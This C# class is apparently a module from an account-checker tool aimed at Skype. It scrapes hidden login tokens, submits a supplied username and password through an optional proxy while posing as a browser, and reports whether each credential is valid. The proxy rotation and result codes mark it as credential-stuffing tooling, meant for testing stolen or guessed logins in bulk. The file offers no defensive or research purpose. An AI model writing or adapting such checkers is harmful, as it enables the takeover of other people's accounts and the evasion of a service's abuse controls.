class SkypeModule : Module
    {
        public string Name { get { return "Skype"; } }

        public Login.Result Check(ModuleArguments args)
        {
            try
            {
                CookieContainer s0 = new CookieContainer();
                RequestSettings settings = new RequestSettings();
                settings.UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36";
                settings.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
                settings.ContentType = "application/x-www-form-urlencoded";
                if (!string.IsNullOrEmpty(args.Proxy)) settings.Proxy = args.Proxy.ToProxy();
                settings.Timeout = args.Timeout;
                string getTokens = WebTasks.DoRequest("https://login.skype.com/login", settings, s0).Source;
                string pieToken = getTokens.GetBetween("<input type=\"hidden\" name=\"pie\" id=\"pie\" value=\"", "\"");
                string etmToken = getTokens.GetBetween("<input type=\"hidden\" name=\"etm\" id=\"etm\" value=\"", "\"");
                settings.PostData = string.Format("username={0}&password={1}&timezone_field=%2B01%7C00&pie={2}&etm={3}&js_time={4}", args.Username, args.Password, pieToken, etmToken, StringExtensions.GetJsTime());
                string result = WebTasks.DoRequest("https://login.skype.com/login", settings, s0).Source;
                if (result.Contains("skypetoken")) return Login.Result.Valid;
                else if (result.Contains("review")) return Login.Result.InvalidProxy;
                else return Login.Result.Invalid;
            }
            catch (Exception ex)
            {
                if (ex.Message.Contains("timed out")) return Login.Result.TimedOut;
                else return Login.Result.Unknown;
            }
        }
    }
}